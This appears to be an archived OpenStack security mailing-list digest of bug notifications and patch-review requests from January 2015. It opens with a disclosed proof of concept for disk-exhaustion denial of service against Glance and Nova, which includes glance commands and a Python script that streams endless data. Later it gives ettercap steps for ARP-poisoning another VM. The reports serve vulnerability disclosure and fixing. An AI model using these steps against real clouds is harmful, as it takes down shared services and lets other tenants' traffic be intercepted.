OpenStack Compute (Nova): Confirmed Status in OpenStack Security Advisories: Won't Fix Bug description: Using Epel Essex packages on RHEL 6.3 Glance should impose configurable limits (or tenant quotas) on the size of the images it allows to be registered and/or uploaded. Two separate example exploits here 1. Glance Denial of Service by file system exhaustion 2. Nova Compute Denial of Service by file system exhaustion = 1 = Using the glance x-image-meta-property-copy-from header it is possible to get glance to keep downloading a large resource until it fills up the local harddrive e.g. $ glance add name="big image" disk_format=raw container_format=ovf copy_from=http://server/cgi-bin/t.cgi # [1] Failed to add image. Got error: The request returned a 413 Request Entity Too Large. This generally means that rate limiting or a quota threshold was breached. The response body: 413 Request Entity Too Large The body of your request was too large for this server. Image storage media is full: There is not enough disk space on the image storage media. Note: Your image metadata may still be in the registry, but the image's status will likely be 'killed'. $ ls -lh /var/lib/glance/images/f1db6d09-1eac-4ce4-86ff-8a34bfea33af -rw-r--r--. 1 glance glance 87G Jul 27 13:03 /var/lib/glance/images/f1db6d09-1eac-4ce4-86ff-8a34bfea33af $ df -h /var/lib/glance/images/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_rheva8c03-lv_root 104G 98G 261M 100% / this would allow any authenticated user to preform a denial of service on a glance server, with a file system backend. I havn't looked into swift but will it just keep going until is starts filling up storage nodes? = 2 = Nova is also open to a similar exploit, by using the x-image-meta- location header in a glance add, a large resource can be registered with glance, any nova compute node that tries to use this image to start an instance can have its disk space very quickly exhausted with a singe instance # Registering an image 1TB in size (can go bigger if needs be) $ glance add name="big image" disk_format=raw container_format=ovf location=http://server/cgi-bin/t.cgi Added new image with ID: 1a528173-7ca9-4320-b0f3-dac127a1f337 $ glance index ID Name Disk Format Container Format Size ------------------------------------ ------------------------------ -------------------- -------------------- -------------- 1a528173-7ca9-4320-b0f3-dac127a1f337 big image raw ovf 1099511627776 $ nova boot --flavor 1 --image 1a528173-7ca9-4320-b0f3-dac127a1f337 bigtest # the filesystem now fills up, the boot fails and nova deletes the partial download # next I check the apache logs to see how much nova downloaded. "GET /cgi-bin/t.cgi HTTP/1.1" 200 93406637550 "-" "-" # Note : I know I will probably not get the same compute node next time but # this will at least give me an idea of what size might be tolerated. # edit cgi script [1] to change the content length to something slightly smaller then 93406637550 $ glance add name="smaller big image" disk_format=raw container_format=ovf location=http://server/cgi-bin/t.cgi Added new image with ID: a5eb1eab-1536-438f-82cf-4b642cf9d363 $ glance index ID Name Disk Format Container Format Size ------------------------------------ ------------------------------ -------------------- -------------------- -------------- a5eb1eab-1536-438f-82cf-4b642cf9d363 smaller big image raw ovf 90406637550 1a528173-7ca9-4320-b0f3-dac127a1f337 big image raw ovf 1099511627776 $ nova boot --flavor 1 --image a5eb1eab-1536-438f-82cf-4b642cf9d363 bigtest_2 $ ls -lh /var/lib/nova/instances/_base/7f9a4e3c2891c537a784391cd962e6a5527d0a27 -rw-r--r--. 1 qemu qemu 85G Jul 27 14:13 /var/lib/nova/instances/_base/7f9a4e3c2891c537a784391cd962e6a5527d0a27 $ df -h /var/lib/nova/instances/_base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_rheva8c03-lv_root 104G 97G 1.1G 99% / $ [1] Standard http cgi script used as the vm image #!/usr/bin/python import os, sys, uuid print "Content-Type: text/html" #print "Content-Length: 1099511627776" # this shouldn't be present for first exploit print data = ''.join(uuid.uuid4().hex for a in range(500)) if os.environ.get('REQUEST_METHOD') == "GET": while 1: print data sys.stdout.flush() To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1029950/+subscriptions From fungi at yuggoth.org Thu Jan 15 00:08:00 2015 From: fungi at yuggoth.org (Jeremy Stanley) Date: Thu, 15 Jan 2015 00:08:00 -0000 Subject: [Openstack-security] [Bug 832507] Re: console.log grows indefinitely References: <20110824042742.10840.74572.malonedeb@wampee.canonical.com> Message-ID: <20150115000800.2971.73585.malone@gac.canonical.com> It's now (UTC) Thursday. ** Changed in: ossa Status: Incomplete => Won't Fix ** Tags added: security ** Information type changed from Public Security to Public -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/832507 Title: console.log grows indefinitely Status in OpenStack Compute (Nova): Triaged Status in OpenStack Security Advisories: Won't Fix Status in libvirt package in Ubuntu: Fix Released Status in nova package in Ubuntu: Fix Released Status in qemu-kvm package in Ubuntu: Triaged Bug description: KVM takes everything from stdout and prints it to console.log. This does not appear to have a size limit, so if a user (mistakenly or otherwise) sends a lot of data to stdout, the console.log file can fill the entire disk of the compute node quite quickly. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/832507/+subscriptions From 1187107 at bugs.launchpad.net Thu Jan 15 09:49:07 2015 From: 1187107 at bugs.launchpad.net (OpenStack Infra) Date: Thu, 15 Jan 2015 09:49:07 -0000 Subject: [Openstack-security] [Bug 1187107] Fix proposed to neutron (master) References: <20130603194234.27198.32504.malonedeb@gac.canonical.com> Message-ID: <20150115094908.9061.2500.malone@chaenomeles.canonical.com> Fix proposed to branch: master Review: https://review.openstack.org/147436 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1187107 Title: quantum-ns-metadata-proxy runs as root Status in OpenStack Neutron (virtual network service): In Progress Bug description: # ps -ef | grep quantum-ns-metadata-proxy root 10239 1 0 19:01 ? 00:00:00 python /usr/bin/quantum-ns-metadata-proxy --pid_file=/var/lib/quantum/external/pids/7a44de32-3ac0-4f3e-92cc-1a37d8211db8.pid --router_id=7a44de32-3ac0-4f3e-92cc-1a37d8211db8 --state_path=/var/lib/quantum --debug --log-file=quantum-ns-metadata-proxy7a44de32-3ac0-4f3e-92cc-1a37d8211db8.log --log-dir=/var/log/quantum Root is needed to open the namespace, but the quantum-ns-metadata-proxy does not need root - it listens on 9697 by default not 80. I tried changing /etc/quantum/rootwrap.d/l3.filters for it to run as quantum instead: metadata_proxy: CommandFilter, /usr/bin/quantum-ns-metadata-proxy, quantum but it still runs as root. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1187107/+subscriptions From 1187107 at bugs.launchpad.net Thu Jan 15 09:49:16 2015 From: 1187107 at bugs.launchpad.net (OpenStack Infra) Date: Thu, 15 Jan 2015 09:49:16 -0000 Subject: [Openstack-security] [Bug 1187107] Fix proposed to neutron (master) References: <20130603194234.27198.32504.malonedeb@gac.canonical.com> Message-ID: <20150115094916.27579.48300.malone@wampee.canonical.com> Fix proposed to branch: master Review: https://review.openstack.org/147437 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1187107 Title: quantum-ns-metadata-proxy runs as root Status in OpenStack Neutron (virtual network service): In Progress Bug description: # ps -ef | grep quantum-ns-metadata-proxy root 10239 1 0 19:01 ? 00:00:00 python /usr/bin/quantum-ns-metadata-proxy --pid_file=/var/lib/quantum/external/pids/7a44de32-3ac0-4f3e-92cc-1a37d8211db8.pid --router_id=7a44de32-3ac0-4f3e-92cc-1a37d8211db8 --state_path=/var/lib/quantum --debug --log-file=quantum-ns-metadata-proxy7a44de32-3ac0-4f3e-92cc-1a37d8211db8.log --log-dir=/var/log/quantum Root is needed to open the namespace, but the quantum-ns-metadata-proxy does not need root - it listens on 9697 by default not 80. I tried changing /etc/quantum/rootwrap.d/l3.filters for it to run as quantum instead: metadata_proxy: CommandFilter, /usr/bin/quantum-ns-metadata-proxy, quantum but it still runs as root. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1187107/+subscriptions From gerrit2 at review.openstack.org Thu Jan 15 15:57:05 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 15 Jan 2015 15:57:05 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I47229b366c25367ec1bd48aec684e0880f3dfe60 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/144464 Log: commit 0dc8fbb3479a53c5bba8475d14f4c7206904c5ea Author: Zhi Yan Liu Date: Tue Dec 30 22:25:50 2014 +0800 Cleanup chunks for deleted image that was 'saving' Currently image data cannot be removed synchronously for an image that is in saving state. And when, the upload operation for such an image is completed the operator configured quota can be exceeded. This patch fixes the issue of left over chunks for an image which was deleted from saving status. However, by the limitation of the design we cannot enforce a global quota check for the image in saving status. This change introduces a inconsonance between http response codes of v1 and v2 APIs. The status codes which we will now see after the upload process completes on an image which was deleted mid way are: v1: 412 Precondition Failed v2: 410 Gone SecurityImpact UpgradeImpact APIImpact Closes-Bug: 1383973 Closes-Bug: 1398830 Closes-Bug: 1188532 Change-Id: I47229b366c25367ec1bd48aec684e0880f3dfe60 Signed-off-by: Zhi Yan Liu From gerrit2 at review.openstack.org Thu Jan 15 17:28:42 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 15 Jan 2015 17:28:42 +0000 Subject: [Openstack-security] [stackforge/os-ansible-deployment] SecurityImpact review request change I78716b737b37feab8b21d6e765a349e4e6724bf6 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/147599 Log: commit f5b9795ade1fc96d6bc15f1d1ea9407cbfe63a45 Author: Ian Cordasco Date: Thu Jan 15 11:28:33 2015 -0600 Use HTTPS when installing from mirror.rackspace.com SecurityImpact Change-Id: I78716b737b37feab8b21d6e765a349e4e6724bf6 From gerrit2 at review.openstack.org Thu Jan 15 17:32:36 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 15 Jan 2015 17:32:36 +0000 Subject: [Openstack-security] [stackforge/os-ansible-deployment] SecurityImpact review request change I78716b737b37feab8b21d6e765a349e4e6724bf6 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/147599 Log: commit 28b6c2da9c4138b8f05b673174c7560d6c8efe07 Author: Ian Cordasco Date: Thu Jan 15 11:28:33 2015 -0600 Use HTTPS when installing from mirror.rackspace.com SecurityImpact Closes-bug: 1411331 Change-Id: I78716b737b37feab8b21d6e765a349e4e6724bf6 From 1274034 at bugs.launchpad.net Thu Jan 15 21:36:08 2015 From: 1274034 at bugs.launchpad.net (Kyle Mestery) Date: Thu, 15 Jan 2015 21:36:08 -0000 Subject: [Openstack-security] [Bug 1274034] Re: Neutron firewall anti-spoofing does not prevent ARP poisoning References: <20140129101504.12361.90017.malonedeb@gac.canonical.com> Message-ID: <20150115213611.28014.4864.launchpad@wampee.canonical.com> ** Changed in: neutron Milestone: None => kilo-3 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1274034 Title: Neutron firewall anti-spoofing does not prevent ARP poisoning Status in OpenStack Neutron (virtual network service): In Progress Status in OpenStack Security Advisories: Invalid Status in OpenStack Security Notes: Fix Released Bug description: The neutron firewall driver 'iptabes_firawall' does not prevent ARP cache poisoning. When anti-spoofing rules are handled by Nova, a list of rules was added through the libvirt network filter feature: - no-mac-spoofing - no-ip-spoofing - no-arp-spoofing - nova-no-nd-reflection - allow-dhcp-server Actually, the neutron firewall driver 'iptabes_firawall' handles only MAC and IP anti-spoofing rules. This is a security vulnerability, especially on shared networks. Reproduce an ARP cache poisoning and man in the middle: - Create a private network/subnet 10.0.0.0/24 - Start 2 VM attached to that private network (VM1: IP 10.0.0.3, VM2: 10.0.0.4) - Log on VM1 and install ettercap [1] - Launch command: 'ettercap -T -w dump -M ARP /10.0.0.4/ // output:' - Log on too on VM2 (with VNC/spice console) and ping google.fr => ping is ok - Go back on VM1, and see the VM2's ping to google.fr going to the VM1 instead to be send directly to the network gateway and forwarded by the VM1 to the gw. The ICMP capture looks something like that [2] - Go back to VM2 and check the ARP table => the MAC address associated to the GW is the MAC address of VM1 [1] http://ettercap.github.io/ettercap/ [2] http://paste.openstack.org/show/62112/ To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1274034/+subscriptions From 1187107 at bugs.launchpad.net Fri Jan 16 20:35:10 2015 From: 1187107 at bugs.launchpad.net (Kyle Mestery) Date: Fri, 16 Jan 2015 20:35:10 -0000 Subject: [Openstack-security] [Bug 1187107] Re: quantum-ns-metadata-proxy runs as root References: <20130603194234.27198.32504.malonedeb@gac.canonical.com> Message-ID: <20150116203513.23684.18800.launchpad@gac.canonical.com> ** Changed in: neutron Milestone: None => kilo-2 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1187107 Title: quantum-ns-metadata-proxy runs as root Status in OpenStack Neutron (virtual network service): In Progress Bug description: # ps -ef | grep quantum-ns-metadata-proxy root 10239 1 0 19:01 ? 00:00:00 python /usr/bin/quantum-ns-metadata-proxy --pid_file=/var/lib/quantum/external/pids/7a44de32-3ac0-4f3e-92cc-1a37d8211db8.pid --router_id=7a44de32-3ac0-4f3e-92cc-1a37d8211db8 --state_path=/var/lib/quantum --debug --log-file=quantum-ns-metadata-proxy7a44de32-3ac0-4f3e-92cc-1a37d8211db8.log --log-dir=/var/log/quantum Root is needed to open the namespace, but the quantum-ns-metadata-proxy does not need root - it listens on 9697 by default not 80. I tried changing /etc/quantum/rootwrap.d/l3.filters for it to run as quantum instead: metadata_proxy: CommandFilter, /usr/bin/quantum-ns-metadata-proxy, quantum but it still runs as root. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1187107/+subscriptions From gerrit2 at review.openstack.org Mon Jan 19 11:03:48 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 19 Jan 2015 11:03:48 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/80178 Log: commit 20217685e640b2d94a304b48bbfeea2303e37a71 Author: Fei Long Wang Date: Thu Mar 13 13:30:05 2014 +0800 Ensure digital signatures are a minimum of SHA2 It would be great to enhance Glance to use minimum of SHA2 to do digital signature for FIPS compliance. In FIPS(FEDERAL INFORMATION PROCESSING STANDARDS) says the SHA-1 is not suitable for general-purpose digital signature applications (as specified in FIPS 186-3) that require 112 bits of security. In the case of digital signatures, SHA-1 does not provide the 112 bits of collision resistance needed to achieve the security strength. DocImpact UpgradeImapact SecurityImpact Closes-Bug: #1288545 Change-Id: I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 From jesse.pretorius at gmail.com Mon Jan 19 11:00:12 2015 From: jesse.pretorius at gmail.com (Jesse Pretorius) Date: Mon, 19 Jan 2015 11:00:12 -0000 Subject: [Openstack-security] [Bug 1412393] [NEW] mariadb repo unnecessarily configured in all containers References: <20150119110012.23998.45109.malonedeb@gac.canonical.com> Message-ID: <20150119110012.23998.45109.malonedeb@gac.canonical.com> Public bug reported: The mariadb repo is unnecessarily configured on every host and in every container. The repo should only configured for containers and hosts that require access to the database. In order to provide a more secure-by-default installation, the /root/.my.cnf client configuration should only placed where necessary - the utility container is likely to be the only location that requires it as all DB access by services are done through explicit configuration with a restricted DB user. Another set of containers it should perhaps be placed into would be the galera containers themselves. ** Affects: openstack-ansible Importance: Medium Status: New ** Tags: security ** Description changed: The mariadb repo is unnecessarily configured on every host and in every container. The repo should only configured for containers and hosts that require access to the database. - In order to provide a more secure-by-default installation, the - /root/.my.cnf client configuration should only placed where necessary - - the utility container is likely to be the only location that requires it - as all DB access by services are done through explicit configuration - with a restricted DB user. + In order to provide a more secure-by-default installation, the /root/.my.cnf client configuration should only placed where necessary - the utility container is likely to be the only location that requires it as all DB access by services are done through explicit configuration with a restricted DB user. + Another set of containers it should perhaps be placed into would be the galera containers themselves. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1412393 Title: mariadb repo unnecessarily configured in all containers Status in Ansible playbooks for deploying OpenStack: New Bug description: The mariadb repo is unnecessarily configured on every host and in every container. The repo should only configured for containers and hosts that require access to the database. In order to provide a more secure-by-default installation, the /root/.my.cnf client configuration should only placed where necessary - the utility container is likely to be the only location that requires it as all DB access by services are done through explicit configuration with a restricted DB user. Another set of containers it should perhaps be placed into would be the galera containers themselves. To manage notifications about this bug go to: https://bugs.launchpad.net/openstack-ansible/+bug/1412393/+subscriptions From 1404862 at bugs.launchpad.net Mon Jan 19 17:36:14 2015 From: 1404862 at bugs.launchpad.net (OpenStack Infra) Date: Mon, 19 Jan 2015 17:36:14 -0000 Subject: [Openstack-security] [Bug 1404862] Fix merged to os-ansible-deployment (icehouse) References: <20141222115556.21788.73486.malonedeb@gac.canonical.com> Message-ID: <20150119173614.19673.24086.malone@soybean.canonical.com> Reviewed: https://review.openstack.org/147134 Committed: https://git.openstack.org/cgit/stackforge/os-ansible-deployment/commit/?id=7372aa204fb0cfadb081c74e03b05149127a7836 Submitter: Jenkins Branch: icehouse commit 7372aa204fb0cfadb081c74e03b05149127a7836 Author: Jesse Pretorius Date: Mon Dec 22 12:01:14 2014 +0000 Improve Apache SSL configuration This patch implements changes in the SSL configuration to ensure that Horizon is not vulnerable to common SSL and TLS attack vectors. Change-Id: I2e24ea3b99c7caadfbc8992ac78648cfdc6c301d Closes-Bug: #1404862 (cherry picked from commit b11236a6e25585c49c6bdf7d15eb17542bca0c88) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1404862 Title: Horizon SSL configuration vulnerable Status in Ansible playbooks for deploying OpenStack: Fix Committed Status in openstack-ansible icehouse series: In Progress Status in openstack-ansible juno series: In Progress Bug description: Currently the Apache configuration for Horizon is very simple and therefore vulnerable to various forms of SSL and TLS attack vectors. The Qualys SSL test on the default setup results in a C grading. In order to ensure that best practices are implemented and anyone using os-ansible-deployment has a secure by default setup, this needs to be addressed. To manage notifications about this bug go to: https://bugs.launchpad.net/openstack-ansible/+bug/1404862/+subscriptions From gerrit2 at review.openstack.org Mon Jan 19 20:34:01 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 19 Jan 2015 20:34:01 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/80178 Log: commit c9fa05dabc6b4a277bf88e07b88f3e9c8b11e99d Author: Fei Long Wang Date: Thu Mar 13 13:30:05 2014 +0800 Ensure digital signatures are a minimum of SHA2 It would be great to enhance Glance to use minimum of SHA2 to do digital signature for FIPS compliance. In FIPS(FEDERAL INFORMATION PROCESSING STANDARDS) says the SHA-1 is not suitable for general-purpose digital signature applications (as specified in FIPS 186-3) that require 112 bits of security. In the case of digital signatures, SHA-1 does not provide the 112 bits of collision resistance needed to achieve the security strength. DocImpact UpgradeImapact SecurityImpact Closes-Bug: #1288545 Change-Id: I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 From gerrit2 at review.openstack.org Mon Jan 19 21:31:58 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 19 Jan 2015 21:31:58 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/80178 Log: commit f1e3f98db495dd9dc0fffa935db0078e7e7fdeed Author: Fei Long Wang Date: Thu Mar 13 13:30:05 2014 +0800 Make digest algorithm configurable It would be great to enhance Glance to use minimum of SHA2 to do digital signature for FIPS compliance. Since in FIPS(FEDERAL INFORMATION PROCESSING STANDARDS) says the SHA-1 is not suitable for general-purpose digital signature applications (as specified in FIPS 186-3) that require 112 bits of security. In the case of digital signatures, SHA-1 does not provide the 112 bits of collision resistance needed to achieve the security strength. Now we're using hardcode 'sha1'. So this patch will make it configurable firstly and set the default value as sha1 in Kilo for smooth upgrade, which will be changed with sha256 in next release(L). DocImpact UpgradeImapact SecurityImpact Closes-Bug: #1288545 Change-Id: I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 From thingee at gmail.com Tue Jan 20 05:28:31 2015 From: thingee at gmail.com (Mike Perez) Date: Tue, 20 Jan 2015 05:28:31 -0000 Subject: [Openstack-security] [Bug 1372635] Re: MITM vulnerability with EMC VMAX driver References: <20140922201512.25143.9622.malonedeb@soybean.canonical.com> Message-ID: <20150120052832.23833.79511.launchpad@gac.canonical.com> ** Also affects: cinder/juno Importance: Undecided Status: New ** Also affects: cinder/icehouse Importance: Undecided Status: New -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1372635 Title: MITM vulnerability with EMC VMAX driver Status in Cinder: In Progress Status in Cinder icehouse series: New Status in Cinder juno series: New Status in OpenStack Security Advisories: Won't Fix Bug description: The EMC VMAX driver in Juno appears to blindly trust whatever certificate it gets back from the device without any validation (it does not specify the ca_certs parameter, etc. on WBEMConnection.__init__). This would leave it open to a MITM attack. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1372635/+subscriptions From 1372635 at bugs.launchpad.net Tue Jan 20 05:29:44 2015 From: 1372635 at bugs.launchpad.net (OpenStack Infra) Date: Tue, 20 Jan 2015 05:29:44 -0000 Subject: [Openstack-security] [Bug 1372635] Change abandoned on cinder (master) References: <20140922201512.25143.9622.malonedeb@soybean.canonical.com> Message-ID: <20150120052944.23388.65244.malone@gac.canonical.com> Change abandoned by Mike Perez (thingee at gmail.com) on branch: master Review: https://review.openstack.org/130923 Reason: No activity. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1372635 Title: MITM vulnerability with EMC VMAX driver Status in Cinder: In Progress Status in Cinder icehouse series: New Status in Cinder juno series: New Status in OpenStack Security Advisories: Won't Fix Bug description: The EMC VMAX driver in Juno appears to blindly trust whatever certificate it gets back from the device without any validation (it does not specify the ca_certs parameter, etc. on WBEMConnection.__init__). This would leave it open to a MITM attack. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1372635/+subscriptions From 1391504 at bugs.launchpad.net Tue Jan 20 05:30:35 2015 From: 1391504 at bugs.launchpad.net (OpenStack Infra) Date: Tue, 20 Jan 2015 05:30:35 -0000 Subject: [Openstack-security] [Bug 1391504] Change abandoned on cinder (master) References: <20141111130915.17341.22090.malonedeb@chaenomeles.canonical.com> Message-ID: <20150120053035.4740.10623.malone@wampee.canonical.com> Change abandoned by Mike Perez (thingee at gmail.com) on branch: master Review: https://review.openstack.org/123433 Reason: no activity -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1391504 Title: Sample policies for Openstack Status in Cinder: In Progress Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in OpenStack Identity (Keystone): In Progress Status in OpenStack Neutron (virtual network service): In Progress Status in OpenStack Compute (Nova): In Progress Bug description: Regarding OpenStack policies, in general, the described roles seem quite complicated, it is not clear which roles are appropriated for each user. For example, in many policies it is defined just a global admin role. We would like to clarify what are the role organizations, for example, cloud_admin is the role for the cloud managers, domain_admin is the role for the domain managers, project_admin for the project admin and project_member a member with a role in a project but with no admin permissions. In this way, it is clear for the cloud manager which capability is being given to a user. The idea is create a policy.cloudsample.json, where roles as cloud_admin project_admin, and project_member will be defined and some default permissions, making policies closer to the business reality. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1391504/+subscriptions From gerrit2 at review.openstack.org Tue Jan 20 11:47:14 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 20 Jan 2015 11:47:14 +0000 Subject: [Openstack-security] [stackforge/os-ansible-deployment] SecurityImpact review request change I2e24ea3b99c7caadfbc8992ac78648cfdc6c301d Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/147133 Log: commit 9c7a71bd2b14ad3f5c705a949c03e39f849d8526 Author: Jesse Pretorius Date: Mon Dec 22 12:01:14 2014 +0000 Improve Apache SSL configuration This patch implements changes in the SSL configuration to ensure that Horizon is not vulnerable to common SSL and TLS attack vectors. SecurityImpact Change-Id: I2e24ea3b99c7caadfbc8992ac78648cfdc6c301d Closes-Bug: #1404862 (cherry picked from commit b11236a6e25585c49c6bdf7d15eb17542bca0c88) From 1404862 at bugs.launchpad.net Tue Jan 20 11:48:45 2015 From: 1404862 at bugs.launchpad.net (OpenStack Infra) Date: Tue, 20 Jan 2015 11:48:45 -0000 Subject: [Openstack-security] [Bug 1404862] Fix merged to os-ansible-deployment (juno) References: <20141222115556.21788.73486.malonedeb@gac.canonical.com> Message-ID: <20150120114846.19268.21401.malone@soybean.canonical.com> Reviewed: https://review.openstack.org/147133 Committed: https://git.openstack.org/cgit/stackforge/os-ansible-deployment/commit/?id=9c7a71bd2b14ad3f5c705a949c03e39f849d8526 Submitter: Jenkins Branch: juno commit 9c7a71bd2b14ad3f5c705a949c03e39f849d8526 Author: Jesse Pretorius Date: Mon Dec 22 12:01:14 2014 +0000 Improve Apache SSL configuration This patch implements changes in the SSL configuration to ensure that Horizon is not vulnerable to common SSL and TLS attack vectors. SecurityImpact Change-Id: I2e24ea3b99c7caadfbc8992ac78648cfdc6c301d Closes-Bug: #1404862 (cherry picked from commit b11236a6e25585c49c6bdf7d15eb17542bca0c88) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1404862 Title: Horizon SSL configuration vulnerable Status in Ansible playbooks for deploying OpenStack: Fix Committed Status in openstack-ansible icehouse series: In Progress Status in openstack-ansible juno series: In Progress Bug description: Currently the Apache configuration for Horizon is very simple and therefore vulnerable to various forms of SSL and TLS attack vectors. The Qualys SSL test on the default setup results in a C grading. In order to ensure that best practices are implemented and anyone using os-ansible-deployment has a secure by default setup, this needs to be addressed. To manage notifications about this bug go to: https://bugs.launchpad.net/openstack-ansible/+bug/1404862/+subscriptions From gerrit2 at review.openstack.org Tue Jan 20 15:26:15 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 20 Jan 2015 15:26:15 +0000 Subject: [Openstack-security] [openstack/barbican-specs] SecurityImpact review request change I6022ef7d5a9cec34abed05cceb95e226b1133e56 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/147267 Log: commit 3665e21b819f293df5afe902e484a8a026cd0d6b Author: jfwood Date: Wed Jan 14 12:24:41 2015 -0600 Save order information on created secrets/containers Currently there is no information stored on created secrets/containers as to the order that was used to create them. It would be useful for information such as the order's metadata to be available to clients when created secrets or containers are retrieved. Also, there are some SSL-related workflows involving existing certificate containers that require information from the original order and order-plugin metadata. For example, certificate reissue or revocation workflows require information found only in the original order and plugin metadata such as the original certificate authority (CA) order ID used to generate the certificate (stored in order plugin metadata), or original contact information (stored in order metadata). This blueprint proposes means to store the information for later access. APIImpact: Adds an 'order_ref' element to the orders resource response DocImpact: Update orders resource doc to include 'order_ref' SecurityImpact: Orders entities could be long-lived now Change-Id: I6022ef7d5a9cec34abed05cceb95e226b1133e56 From gerrit2 at review.openstack.org Tue Jan 20 15:35:27 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 20 Jan 2015 15:35:27 +0000 Subject: [Openstack-security] [openstack/barbican-specs] SecurityImpact review request change I6022ef7d5a9cec34abed05cceb95e226b1133e56 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/147267 Log: commit c87d980bd12c1571c3c335f1a05bd2f0cb2ad5fa Author: jfwood Date: Wed Jan 14 12:24:41 2015 -0600 Save order information on created secrets/containers Currently there is no information stored on created secrets/containers as to the order that was used to create them. It would be useful for information such as the order's metadata to be available to clients when created secrets or containers are retrieved. Also, there are some SSL-related workflows involving existing certificate containers that require information from the original order and order-plugin metadata. For example, certificate reissue or revocation workflows require information found only in the original order and plugin metadata such as the original certificate authority (CA) order ID used to generate the certificate (stored in order plugin metadata), or original contact information (stored in order metadata). This blueprint proposes means to store the information for later access. APIImpact: Adds an 'order_ref' element to the orders resource response DocImpact: Update orders resource doc to include 'order_ref' SecurityImpact: Orders entities could be long-lived now Implements: blueprint save-order-info-on-created-secrets Change-Id: I6022ef7d5a9cec34abed05cceb95e226b1133e56 From gerrit2 at review.openstack.org Tue Jan 20 15:39:32 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 20 Jan 2015 15:39:32 +0000 Subject: [Openstack-security] [openstack/barbican-specs] SecurityImpact review request change Ic5db6ed73310b951d73e7f2fe0cbc17711966038 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/148587 Log: commit 9b0f3cd25c1b9fc9a71b4bccf14b21d9d894be23 Author: jfwood Date: Tue Jan 20 08:52:17 2015 -0600 Support concurrent updates on the orders API resource Currently if a PUT request is made to an existing orders resource, the updated order metadata is sent as an argument to an enqueued RPC task to worker nodes. If subsequent PUT requests are made to the same order, multiple RPC tasks will be enqueued and potentially processed by multiple worker nodes. Hence the sequence of processing these RPC tasks is not guaranteed to be the same as the PUT requests were received. This blueprint seeks to avoid this race condition. A motivation for this feature is to support reliably updating SSL certificate orders 'in flight', say to correct a contact email address. Another benefit is limiting the amount of updates that can be made to a given order, reducing the possibility of a denial of service attack via the orders resource. Change-Id: Ic5db6ed73310b951d73e7f2fe0cbc17711966038 Implements: blueprint api-orders-support-concurrent-updates APIImpact: Adds 400 response if too many PUT requests to same order SecurityImpact: Should help mitigate DoS attack on order via PUTs DocImpact: Update orders resource doc to mention 400 response From gerrit2 at review.openstack.org Tue Jan 20 17:21:44 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 20 Jan 2015 17:21:44 +0000 